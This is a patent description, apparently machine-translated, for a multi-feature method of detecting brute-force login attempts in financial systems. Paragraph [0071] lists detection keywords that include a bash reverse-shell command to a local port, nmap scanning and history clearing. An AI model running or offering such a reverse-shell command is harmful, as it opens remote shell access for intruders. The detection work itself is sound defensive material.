Brute force detection method, system, device and medium

Abstract

The present invention relates to the technical field of financial technology (Fintech), and discloses a brute force detection method, system, device and computer storage medium, including: obtaining a suspicious source IP address whose number of login failures within a preset time period reaches a preset number threshold; obtaining dimensional features of the suspicious source IP address, the dimensional features include at least two; determining whether the login behavior of the suspicious source IP address is a brute force behavior according to the dimensional features of the suspicious source IP address. Compared with the prior art, the solution of determining whether an IP has a brute force behavior only based on whether the number of login failures reaches a threshold, the present invention determines the suspicious source IP address based on whether the number of login failures reaches a threshold, and then performs a comprehensive analysis based on the various dimensional features of the suspicious source IP address to determine whether the login behavior of the suspicious source IP address is a brute force behavior, which can avoid the one-sidedness and limitations of single-dimensional judgment and improve the accuracy of brute force detection judgment.

Description

Technical Field

[0001] The present invention relates to the technical field of financial technology (Fintech), and in particular to a brute force detection method, system, device and computer storage medium. Background Art

[0002] With the development of computer technology, more and more technologies (big data, distributed, artificial intelligence, etc.) are applied in the financial field. The traditional financial industry is gradually transforming to financial technology (Fintech). However, due to the security and versatility requirements of the financial industry, higher requirements are also placed on brute force detection technology.

[0003] Brute force cracking refers to an attack method in which an attacker systematically combines various possible user authentication information (such as login account name, password, etc.) and tries various possibilities to crack a user account. Attackers often use automated scripts or brute force cracking tools to attack. Since attackers frequently try to log in with different usernames and passwords, many failed login entries will appear in the log, and these entries usually come from the same IP (Internet Protocol Address).

[0004] Currently, the main method to determine whether there is brute force cracking behavior is to detect whether the number of failed logins reaches a threshold. If the number of failed logins reaches the threshold, an alarm is issued so that security operators can handle the alarm. This method of issuing an alarm only based on the number of failed logins is too one-sided. Many normal operations may also cause the number of failed logins to reach the threshold. For example, the same IP address uses the same password to repeatedly log in to the same account. In this case, it may be a Web / mobile application that has not updated the password or has not obtained correct authentication. At this time, the system will also issue a false alarm, causing security operators to spend a lot of time on alarm processing that is not actually a brute force attack behavior, so that alarms of real brute force attack behaviors cannot be handled in a timely manner. Summary of the invention

[0005] The main purpose of the present invention is to provide a brute force detection method, system, device and computer storage medium, aiming to improve the accuracy of brute force behavior detection.

[0006] To achieve the above object, the present invention provides a brute force attack detection method, which comprises the following steps:

[0007] Obtain suspicious source IP addresses whose number of login failures within a preset time period reaches a preset threshold;

[0008] Obtaining dimension features of the suspicious source IP address, where the dimension features include at least two;

[0009] Determine whether the login behavior of the suspicious source IP address is a brute force hacking behavior based on the dimensional characteristics of the suspicious source IP address.

[0010] Optionally, the step of determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior according to the dimensional characteristics of the suspicious source IP address includes:

[0011] Determine the dimensional risk level of each dimensional feature of the suspicious source IP address;

[0012] According to the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address, determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior.

[0013] Optionally, the dimension feature of the suspicious source IP address includes a whitelist feature;

[0014] The step of determining the dimensional risk level of each dimensional feature of the suspicious source IP address includes:

[0015] If the whitelist feature of the suspicious source IP address is that the suspicious source IP address hits the preset IP whitelist, the dimensional risk level of the whitelist feature of the suspicious source IP address is the first level;

[0016] If the whitelist feature of the suspicious source IP address is that the suspicious source IP address does not hit the preset IP whitelist, then the dimensional risk level of the whitelist feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0017] Optionally, the dimensional features of the suspicious source IP address include external network features;

[0018] The step of determining the dimensional risk level of each dimensional feature of the suspicious source IP address includes:

[0019] If the external network feature of the suspicious source IP address is that the suspicious source IP address does not have an external network access port, the dimensional risk level of the external network feature of the suspicious source IP address is the first level;

[0020] If the external network feature of the suspicious source IP address is that the suspicious source IP address has an external network access port, then the dimensional risk level of the external network feature of the suspicious source IP address is the second level, and the first level is lower than the second level.

[0021] Optionally, the dimensional features of the suspicious source IP address include traffic features;

[0022] The step of determining the dimensional risk level of each dimensional feature of the suspicious source IP address includes:

[0023] If the traffic feature of the suspicious source IP address is that the suspicious source IP address has not been attacked by malicious traffic within a preset period of time, the dimensional risk level of the traffic feature of the suspicious source IP address is the first level;

[0024] If the traffic characteristics of the suspicious source IP address are that the suspicious source IP address is attacked by malicious traffic within a preset detection period, then the dimensional risk level of the traffic characteristics of the suspicious source IP address is the second level, and the first level is lower than the second level.

[0025] Optionally, the dimensional features of the suspicious source IP address include keyword features;

[0026] The step of determining the dimensional risk level of each dimensional feature of the suspicious source IP address includes:

[0027] If the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address does not include the preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the first level;

[0028] If the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address includes a preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0029] Optionally, the step of determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior according to the sum of the dimensional risk levels of each dimensional feature of the suspicious source IP address includes:

[0030] If the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address is greater than or equal to the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior;

[0031] If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is greater than the second preset level threshold and less than the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a medium-risk brute force cracking behavior, and the first preset level threshold is greater than the second preset level threshold;

[0032] If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is less than or equal to the second preset level threshold, it is determined that the login behavior of the suspicious source IP address is not a brute force cracking behavior;

[0033] After the step of determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior, the method further includes:

[0034] If it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior, an alarm operation is performed.

[0035] In addition, to achieve the above-mentioned purpose, the present invention also provides a brute force attack detection system, the brute force attack detection system comprising:

[0036] An IP address acquisition module is used to acquire suspicious source IP addresses whose number of login failures reaches a preset threshold within a preset time period;

[0037] A dimension feature acquisition module, used to acquire the dimension features of the suspicious source IP address, wherein the dimension features include at least two;

[0038] The behavior determination module is used to determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the dimensional characteristics of the suspicious source IP address.

[0039] In addition, to achieve the above-mentioned purpose, the present invention also provides a brute force detection device, which includes: a memory, a processor, and a brute force detection program stored in the memory and executable on the processor, and the brute force detection program implements the steps of the brute force detection method described above when executed by the processor.

[0040] In addition, to achieve the above-mentioned purpose, the present invention also provides a computer storage medium, on which a brute force detection program is stored, and when the brute force detection program is executed by a processor, the steps of the brute force detection method described above are implemented.

[0041] The present invention obtains a suspicious source IP address whose number of login failures reaches a preset threshold within a preset time period; obtains the dimensional features of the suspicious source IP address, and the dimensional features include at least two; and determines whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the dimensional features of the suspicious source IP address. Compared with the prior art, which only determines whether an IP has brute force cracking behavior based on whether the number of login failures reaches a threshold, the present invention determines the suspicious source IP address based on whether the number of login failures reaches a threshold, and then conducts a comprehensive analysis based on the various dimensional features of the suspicious source IP address to determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior. This can avoid the one-sidedness and limitations of single-dimensional judgments and improve the accuracy of brute force detection judgments. BRIEF DESCRIPTION OF THE DRAWINGS

[0042] Figure 1 It is a schematic diagram of the structure of a brute force detection device in a hardware operating environment involved in an embodiment of the present invention;

[0043] Figure 2This is a flow chart of the first embodiment of the brute force cracking detection method of the present invention;

[0044] Figure 3 Schematic diagram of system modules of the brute force detection system of the present invention.

[0045] The realization of the purpose, functional features and advantages of the present invention will be further explained in conjunction with embodiments and with reference to the accompanying drawings. DETAILED DESCRIPTION

[0046] It should be understood that the specific embodiments described herein are only used to explain the present invention, and are not used to limit the present invention.

[0047] like Figure 1 As shown, Figure 1 It is a schematic diagram of the structure of a brute force detection device in a hardware operating environment involved in an embodiment of the present invention.

[0048] The brute force cracking detection device in the embodiment of the present invention may be a PC or a server device, on which a virtual machine runs.

[0049] like Figure 1 As shown, the brute force detection device may include: a processor 1001, such as a CPU, a network interface 1004, a user interface 1003, a memory 1005, and a communication bus 1002. Among them, the communication bus 1002 is used to realize the connection and communication between these components. The user interface 1003 may include a display screen (Display), an input unit such as a keyboard (Keyboard), and the optional user interface 1003 may also include a standard wired interface and a wireless interface. The network interface 1004 may optionally include a standard wired interface and a wireless interface (such as a WI-FI interface). The memory 1005 may be a high-speed RAM memory, or a stable memory (non-volatile memory), such as a disk memory. The memory 1005 may optionally be a storage device independent of the aforementioned processor 1001.

[0050] Those skilled in the art will understand that Figure 1 The brute force detection device structure shown in the figure does not constitute a limitation on the device, and may include more or fewer components than shown in the figure, or combine certain components, or arrange the components differently.

[0051] like Figure 1 As shown, the memory 1005 as a computer storage medium may include an operating system, a network communication module, a user interface module, and a brute force detection program.

[0052] exist Figure 1In the brute force cracking detection device shown, the network interface 1004 is mainly used to connect to the background server and communicate data with the background server; the user interface 1003 is mainly used to connect to the client (user end) and communicate data with the client; and the processor 1001 can be used to call the brute force cracking detection program stored in the memory 1005 and perform the operations in the following brute force cracking detection method.

[0053] Based on the above hardware structure, an embodiment of the brute force cracking detection method of the present invention is proposed.

[0054] Reference Figure 2 , Figure 2 This is a flow chart of a first embodiment of a brute force cracking detection method according to the present invention, wherein the method comprises:

[0055] Step S10, obtaining a suspicious source IP address whose number of login failures within a preset time period reaches a preset number threshold;

[0056] The brute force cracking detection method of this embodiment is applied to a brute force cracking detection system. The brute force cracking detection system can be applied to a terminal, a robot or a PC device. For the convenience of description, this embodiment takes the brute force cracking detection system as the execution subject.

[0057] Currently, the main method to determine whether there is brute force cracking behavior is to detect whether the number of failed logins reaches a threshold. If the number of failed logins reaches the threshold, an alarm is issued so that security operators can handle the alarm. This method of issuing an alarm only based on the number of failed logins is too one-sided. Many normal operations may also cause the number of failed logins to reach the threshold. For example, the same IP address uses the same password to repeatedly log in to the same account. In this case, it may be a Web / mobile application that has not updated the password or has not obtained correct authentication. At this time, the system will also issue a false alarm, causing security operators to spend a lot of time on alarm processing that is not actually a brute force attack behavior, so that alarms of real brute force attack behaviors cannot be handled in a timely manner.

[0058] In this context, this embodiment pursues a more accurate brute force attack behavior identification and detection solution. After determining the suspicious source IP address based on whether the number of login failures reaches a threshold, a comprehensive analysis is performed based on the various dimensional characteristics of the suspicious source IP address to determine whether the login behavior of the suspicious source IP address is a brute force attack behavior. This can avoid the one-sidedness and limitations of single-dimensional judgment and improve the accuracy of brute force detection judgment.

[0059] In this embodiment, the brute force detection system itself has a logging function. When a remote connection attempts to log in to the local management service, the brute force detection system will record a login log. The login log includes at least the login time of the remote IP, the remote IP address and the login result (success or failure). Of course, the login log can also include the login account, login duration, etc. For example, for the common Linux operating system, its login log is usually recorded in the cat / var / log / secure path.

[0060] The brute force detection system can monitor the login log and determine the number of failed logins for each remote IP address within a preset time period. The target remote IP address whose number of failed logins within the preset time period is greater than or equal to the preset number threshold will be determined as a suspicious source IP address. The suspicious source IP address can be considered a suspicious IP address that is suspected of brute force hacking.

[0061] It is understandable that in order to avoid the increase in the amount of calculation and the decrease in the operation rate caused by the increase in log data, this embodiment uses a sliding time window when monitoring the login log, that is, the number of failed logins from the same remote IP address is counted within a sliding time window of a fixed length; it is determined whether the number exceeds a preset number threshold; if so, the remote IP address is determined as a suspicious source IP address. The size of the sliding time window can be fixed to a preset length.

[0062] Furthermore, in order to improve the accuracy of brute force attack behavior detection and reduce the subsequent data analysis workload for determining brute force attack behavior detection based on dimensional features, this embodiment, when determining a suspicious source IP address, may use a target remote IP address whose number of consecutive login failures within a preset time period is greater than or equal to a preset number threshold as a suspicious source IP address. For example, if a remote IP address attempts to log in 6 times within a preset time period, the first login result is a login failure, the second login result is a login success, the third login result is a login failure, the fourth login result is a login failure, the fifth login result is a login success, and the sixth login result is a login failure, then the number of consecutive login failures of the remote IP address within the preset time period is 2, and the number of non-consecutive login failures is 4. If the preset number threshold is 3, the remote IP address can be determined to be a suspicious source IP address according to the number of non-consecutive login failures, but if the remote IP address can be determined not to be a suspicious source IP address according to the number of consecutive login failures, the non-continuous login failures within the preset time period may be caused by the administrator entering an incorrect account password. Taking this situation into consideration, as long as one login result is a successful login, the number of consecutive login failures will be cleared, thereby reducing the number of suspicious source IP addresses, thereby reducing the subsequent data analysis workload for detecting brute force attack behaviors based on dimensional features, and improving the accuracy of brute force attack behavior detection.

[0063] It is understandable that the brute force detection system in this embodiment includes HIDS (Host-based Intrusion Detection System). As a monitor and analyzer of the computer system, it does not act on the external interface, but focuses on the internal system, monitoring the dynamic behavior of all or part of the system and the status of the entire computer system; HIDS dynamically checks the characteristics of network data packets, which can detect which program accesses what resources and ensure that the word processor (Word-Processor) will not suddenly and unreasonably start and modify the system password database. Similarly, whether the information is stored in the memory, file system, log file or other place, HIDS will always monitor the system status and check whether they are the same as expected. In this embodiment, the step of determining the suspicious source IP address can be performed by HIDS.

[0064] Step S20, obtaining dimension features of the suspicious source IP address, wherein the dimension features include at least two;

[0065] In this embodiment, after determining the suspicious source IP address, the dimensional features of the suspicious source IP address can be obtained. The dimensional features include at least two of whitelist features, external network features, traffic features and keyword features. It can be understood that security operations personnel can add, delete, modify, and other settings of the dimensional features as needed.

[0066] The so-called whitelist feature refers to whether the suspicious source IP address hits the preset IP whitelist. The preset IP whitelist is determined in advance by the security operation personnel based on the historical brute force detection situation. The preset IP whitelist includes IP addresses that are less likely to have brute force behavior or even impossible to have brute force behavior. If the suspicious source IP address hits the preset IP whitelist, it can be considered that the suspicious source IP address has a low tendency to perform brute force behavior. If it does not hit, it can be considered that the suspicious source IP address has a high tendency to perform brute force behavior. In this embodiment, the acquisition of the whitelist feature of the suspicious source IP address can be performed by HIDS.

[0067] Furthermore, a blacklist feature can be added, which refers to whether the suspicious source IP address hits the preset IP blacklist. As the name implies, the preset IP blacklist includes IP addresses with a high possibility of brute force hacking. If the suspicious source IP address hits the preset IP blacklist, it can be considered that the suspicious source IP address has a high tendency to perform brute force hacking. If it does not hit, it can be considered that the suspicious source IP address has a low tendency to perform brute force hacking.

[0068] Furthermore, the brute force detection system in this embodiment may also include NIDS (network intrusion detection system) and / or WAF (Web Application Firewall), wherein NIDS refers to a combination of software and hardware for detecting behaviors that endanger the security of computer systems, such as collecting vulnerability information, causing access denial, and obtaining system control rights beyond the legal scope; WAF refers to a product that specifically provides protection for Web applications by executing a series of security policies for HTTP / HTTPS.

[0069] The so-called external network feature refers to whether the suspicious source IP address has an external network access port. The external network is also called the wide area network or the public network. Usually, the defense target of network security is mainly to prevent, detect and deal with virus damage and hacker attacks from the external network. The guiding ideology of network security is to isolate illegal users on the external network from the network resources of the local area network or the local area network where the local network is located, so as to achieve the purpose of limiting illegal access by users on the external network. If the suspicious source IP address has an external network access port, it can be considered that the suspicious source IP address has a high tendency to perform brute force cracking. If the suspicious source IP address does not have an external network access port, it can be considered that the suspicious source IP address has a low tendency to perform brute force cracking. In this embodiment, the acquisition of the external network features of the suspicious source IP address can be performed by NIDS and / or WAF.

[0070] The so-called traffic characteristics refer to whether the suspicious source IP address has been attacked by malicious traffic within the preset detection time. Malicious traffic refers to requests generated by malicious crawlers, automatons, simulators, etc. that are forged as real users and sent to the server, causing the server to be "full" and unable to work normally. NIDS and / or WAF can determine whether the suspicious source IP address has been attacked by malicious traffic within the preset detection time based on the suspicious source IP address. If the suspicious source IP address has been attacked by malicious traffic within the preset detection time, it can be considered that the suspicious source IP address has a high tendency to perform brute force cracking. If the suspicious source IP address has not been attacked by malicious traffic within the preset detection time, it can be considered that the suspicious source IP address has a low tendency to perform brute force cracking. In this embodiment, the acquisition of the external network characteristics of the suspicious source IP address can be performed by NIDS and / or WAF.

[0071] The so-called keyword feature refers to whether the log information of the suspicious source IP address includes a preset keyword. NIDS and / or WAF can obtain the bash log of the suspicious source IP address according to the suspicious source IP address, and perform preset keyword detection on the content of the bash log, and the preset keyword is pre-set by the security operator. For example, the preset keyword can be one or more of "nmap scan", "information collection, viewing or modification of mysql history (vim / data / xxx / .mysql history)", "information collection, viewing or modification of host key (cat known hosts)", "bash execution rebound shell (bash-i&> / dev / tcp / 127.0.0.1 / 8090 0>&1)", "clear.history", etc. If the log information of the suspicious source IP address includes a preset keyword, it can be considered that the suspicious source IP address has a high tendency to perform brute force cracking behavior. If the log information of the suspicious source IP address does not include a preset keyword, it can be considered that the suspicious source IP address has a low tendency to perform brute force cracking behavior. In this embodiment, the acquisition of the keyword feature of the suspicious source IP address can be performed by NIDS and / or WAF.

[0072] Furthermore, the preset keyword feature may also include the number of preset keywords included in the log information of the suspicious source IP address. The greater the number, the higher the tendency of the suspicious source IP address to perform brute force cracking behavior.

[0073] Step S30, determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the dimensional characteristics of the suspicious source IP address.

[0074] In this embodiment, after the dimensional features of the suspicious source IP address are obtained, the dimensional features of the suspicious source IP address can be combined to determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior.

[0075] Specifically, the above step S30 specifically includes:

[0076] Step a1, determining the dimensional risk level of each dimensional feature of the suspicious source IP address;

[0077] Step a2, determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the sum of the dimensional risk levels of each dimensional feature of the suspicious source IP address.

[0078] In this embodiment, after obtaining the dimensional features of the suspicious source IP address, the dimensional risk level corresponding to each dimensional feature can be determined, and then the sum of the dimensional risk levels of each dimensional feature can be determined. Based on the sum of the dimensional risk levels of each dimensional feature, it can be determined whether the login behavior of the suspicious source IP address is a brute force cracking behavior.

[0079] In this embodiment, a suspicious source IP address whose number of login failures reaches a preset threshold within a preset time period is obtained; the dimensional features of the suspicious source IP address are obtained, and the dimensional features include at least two; and it is determined whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the dimensional features of the suspicious source IP address. Compared with the prior art, which only determines whether an IP has brute force cracking behavior based on whether the number of login failures reaches a threshold, this embodiment determines the suspicious source IP address based on whether the number of login failures reaches a threshold, and then conducts a comprehensive analysis based on the various dimensional features of the suspicious source IP address to determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior. This can avoid the one-sidedness and limitations of single-dimensional judgments and improve the accuracy of brute force detection judgments.

[0080] Furthermore, based on the first embodiment of the brute force cracking detection method of the present invention, a second embodiment of the brute force cracking detection method of the present invention is proposed.

[0081] If the dimension feature of the suspicious source IP address includes a whitelist feature, the above step a1 includes:

[0082] Step b1: if the whitelist feature of the suspicious source IP address is that the suspicious source IP address hits the preset IP whitelist, then the dimensional risk level of the whitelist feature of the suspicious source IP address is the first level;

[0083] Step b2: If the whitelist feature of the suspicious source IP address is that the suspicious source IP address does not hit the preset IP whitelist, the dimensional risk level of the whitelist feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0084] In this embodiment, if the dimensional feature of the suspicious source IP address includes a whitelist feature, and the whitelist feature is that the suspicious source IP address hits the preset IP whitelist, then the dimensional risk level of the whitelist feature is the first level; if the whitelist feature is that the suspicious source IP address does not hit the preset IP whitelist, then the dimensional risk level of the whitelist feature is the second level, wherein the first level is less than the second level, for example, the first level is 0 and the second level is 1.

[0085] Furthermore, if the dimension feature of the suspicious source IP address includes an external network feature, the above step a1 includes:

[0086] Step c1: if the external network feature of the suspicious source IP address is that the suspicious source IP address does not have an external network access port, then the dimensional risk level of the external network feature of the suspicious source IP address is the first level;

[0087] Step c2: if the external network feature of the suspicious source IP address is that the suspicious source IP address has an external network access port, then the dimensional risk level of the external network feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0088] In this embodiment, if the dimensional feature of the suspicious source IP address includes an external network feature, and the external network feature is that the suspicious source IP address does not have an external network access port, then the dimensional risk level of the external network feature is the first level; if the external network feature is that the suspicious source IP address has an external network access port, then the dimensional risk level of the external network feature is the second level.

[0089] Furthermore, if the dimensional features of the suspicious source IP address include traffic features, the above step a1 includes:

[0090] Step d1: If the traffic feature of the suspicious source IP address is that the suspicious source IP address has not been attacked by malicious traffic within a preset period of time, the dimensional risk level of the traffic feature of the suspicious source IP address is the first level;

[0091] Step d2, if the traffic characteristics of the suspicious source IP address are that the suspicious source IP address is attacked by malicious traffic within a preset detection period, then the dimensional risk level of the traffic characteristics of the suspicious source IP address is the second level, and the first level is less than the second level.

[0092] In this embodiment, if the dimensional characteristics of the suspicious source IP address include traffic characteristics, and the traffic characteristics are that the suspicious source IP address has not been attacked by malicious traffic within a preset period of time, then the dimensional risk level of the traffic characteristics is the first level; if the external network characteristics are that the suspicious source IP address has been attacked by malicious traffic within a preset period of time, then the dimensional risk level of the external network characteristics is the second level.

[0093] Furthermore, if the dimensional feature of the suspicious source IP address includes a keyword feature, the above step a1 includes:

[0094] Step e1, if the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address does not include a preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the first level;

[0095] Step e2: If the keyword feature of the suspicious source IP address includes a preset keyword in the log information of the suspicious source IP address, the dimensional risk level of the keyword feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0096] In this embodiment, if the dimensional feature of the suspicious source IP address includes a keyword feature, and the keyword feature is that the log information of the suspicious source IP address does not include a preset keyword, then the dimensional risk level of the keyword feature is the first level; if the keyword feature is that the log information of the suspicious source IP address includes a preset keyword, then the dimensional risk level of the external network feature is the second level.

[0097] Furthermore, the above step a2 specifically includes:

[0098] Step f1: if the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is greater than or equal to the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior;

[0099] Step f2: if the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is greater than the second preset level threshold and less than the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a medium-risk brute force cracking behavior, and the first preset level threshold is greater than the second preset level threshold;

[0100] Step f3: if the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is less than or equal to the second preset level threshold, it is determined that the login behavior of the suspicious source IP address is not a brute force cracking behavior;

[0101] Furthermore, after the above step S30, it also includes: if it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior, an alarm operation is executed.

[0102] In this embodiment, the security operator pre-sets a first preset level threshold and a second preset level threshold, and the first preset level threshold is greater than the second preset level threshold. If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is greater than or equal to the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior, that is, the possibility that the login behavior of the suspicious source IP address is a brute force cracking behavior is extremely high, and therefore, an alarm needs to be issued to the preset terminal to prompt the security operator to handle it in time.

[0103] Furthermore, after sending an alarm to the preset terminal, if the security operation personnel fail to handle the alarm within the preset time, in order to deal with the high-risk brute force cracking behavior as soon as possible, the brute force cracking detection can automatically intercept the login behavior of the suspicious source IP address and restrict the login of the suspicious source IP address.

[0104] If the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address is greater than the second preset level threshold and less than the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a medium-risk brute force cracking behavior, that is, the possibility that the login behavior of the suspicious source IP address is a brute force cracking behavior is slightly lower than that of a high-risk brute force cracking behavior, but it is still possible to be a brute force cracking behavior. Therefore, for medium-risk brute force cracking behavior, it is also necessary to issue an alarm to the preset terminal to prompt security operations personnel to conduct timely investigation and determination and take measures.

[0105] If the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address is less than or equal to the second preset level threshold, it can be determined that the login behavior of the suspicious source IP address is not a brute force cracking behavior. Therefore, no alarm is issued for the login behavior of the suspicious source IP address to reduce false alarms and avoid security operations personnel spending a lot of time on alarm processing for behaviors that are not actually brute force cracking attacks.

[0106] Furthermore, in order to enable security operations personnel to distinguish between brute force cracking behaviors of different risks, different alarm methods can be used to inform security operations personnel of the urgency of the current alarm when issuing alarms for high-risk brute force cracking behaviors and medium-risk brute force cracking behaviors. For example, a shorter processing time limit can be set for high-risk brute force cracking behaviors, requiring security operations personnel to handle them in a timely manner. For example, the processing time limit for high-risk brute force cracking behaviors can be set to 5 minutes; a slightly longer processing time limit can be set for medium-risk brute force cracking behaviors. For example, the processing time limit for medium-risk brute force cracking behaviors can be set to 2 hours.

[0107] The present invention also provides a brute force detection system, referring to Figure 3 , the brute force detection system comprises:

[0108] The IP address acquisition module 10 is used to acquire suspicious source IP addresses whose number of login failures within a preset time period reaches a preset number threshold;

[0109] A dimension feature acquisition module 20, used to acquire the dimension features of the suspicious source IP address, wherein the dimension features include at least two;

[0110] The behavior determination module 30 is used to determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the dimensional characteristics of the suspicious source IP address.

[0111] Optionally, the behavior determination module is further used to:

[0112] Determine the dimensional risk level of each dimensional feature of the suspicious source IP address;

[0113] According to the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address, determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior.

[0114] Optionally, the dimension feature of the suspicious source IP address includes a whitelist feature;

[0115] The behavior determination module is further used for:

[0116] The step of determining the dimensional risk level of each dimensional feature of the suspicious source IP address includes:

[0117] If the whitelist feature of the suspicious source IP address is that the suspicious source IP address hits the preset IP whitelist, the dimensional risk level of the whitelist feature of the suspicious source IP address is the first level;

[0118] If the whitelist feature of the suspicious source IP address is that the suspicious source IP address does not hit the preset IP whitelist, then the dimensional risk level of the whitelist feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0119] Optionally, the dimensional features of the suspicious source IP address include external network features;

[0120] The behavior determination module is further used for:

[0121] If the external network feature of the suspicious source IP address is that the suspicious source IP address does not have an external network access port, the dimensional risk level of the external network feature of the suspicious source IP address is the first level;

[0122] If the external network feature of the suspicious source IP address is that the suspicious source IP address has an external network access port, then the dimensional risk level of the external network feature of the suspicious source IP address is the second level, and the first level is lower than the second level.

[0123] Optionally, the dimensional features of the suspicious source IP address include traffic features;

[0124] The behavior determination module is further used for:

[0125] If the traffic feature of the suspicious source IP address is that the suspicious source IP address has not been attacked by malicious traffic within a preset period of time, the dimensional risk level of the traffic feature of the suspicious source IP address is the first level;

[0126] If the traffic characteristics of the suspicious source IP address are that the suspicious source IP address is attacked by malicious traffic within a preset detection period, then the dimensional risk level of the traffic characteristics of the suspicious source IP address is the second level, and the first level is lower than the second level.

[0127] Optionally, the dimensional features of the suspicious source IP address include keyword features;

[0128] The behavior determination module is further used for:

[0129] If the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address does not include the preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the first level;

[0130] If the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address includes a preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the second level, and the first level is less than the second level.

[0131] Optionally, the behavior determination module is further used to:

[0132] If the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address is greater than or equal to the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior;

[0133] If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is greater than the second preset level threshold and less than the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a medium-risk brute force cracking behavior, and the first preset level threshold is greater than the second preset level threshold;

[0134] If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is less than or equal to the second preset level threshold, it is determined that the login behavior of the suspicious source IP address is not a brute force cracking behavior;

[0135] Optionally, the behavior determination module is further used to:

[0136] If it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior, an alarm operation is performed.

[0137] The methods executed by the above-mentioned program units can refer to the various embodiments of the brute force cracking detection method of the present invention, and will not be described in detail here.

[0138] The present invention also provides a brute force detection device, which includes: a memory, a processor, and a brute force detection program stored in the memory and executable on the processor. The method implemented when the brute force detection program is executed by the processor can refer to the various embodiments of the brute force detection method of the present invention, which will not be repeated here.

[0139] The invention also provides a computer storage medium.

[0140] The computer storage medium of the present invention stores a brute force cracking detection program, and when the brute force cracking detection program is executed by a processor, the steps of the brute force cracking detection method described above are implemented.

[0141] Among them, the method implemented when the brute force cracking detection program running on the processor is executed can refer to the various embodiments of the brute force cracking detection method of the present invention, and will not be repeated here.

[0142] It should be noted that, in this article, the terms "include", "comprises" or any other variations thereof are intended to cover non-exclusive inclusion, so that a process, method, article or system including a series of elements includes not only those elements, but also other elements not explicitly listed, or also includes elements inherent to such process, method, article or system. In the absence of further restrictions, an element defined by the sentence "comprises a ..." does not exclude the existence of other identical elements in the process, method, article or system including the element.

[0143] The serial numbers of the above embodiments of the present invention are only for description and do not represent the advantages or disadvantages of the embodiments.

[0144] Through the description of the above implementation methods, those skilled in the art can clearly understand that the above-mentioned embodiment methods can be implemented by means of software plus a necessary general hardware platform, and of course by hardware, but in many cases the former is a better implementation method. Based on such an understanding, the technical solution of the present invention is essentially or the part that contributes to the prior art can be embodied in the form of a software product, which is stored in a storage medium (such as ROM / RAM, magnetic disk, optical disk) as described above, and includes a number of instructions for a terminal device (which can be a mobile phone, computer, server, air conditioner, or network device, etc.) to execute the methods described in each embodiment of the present invention.

[0145] The above are only preferred embodiments of the present invention, and are not intended to limit the patent scope of the present invention. Any equivalent structure or equivalent process transformation made using the contents of the present invention specification and drawings, or directly or indirectly applied in other related technical fields, are also included in the patent protection scope of the present invention.

Claims

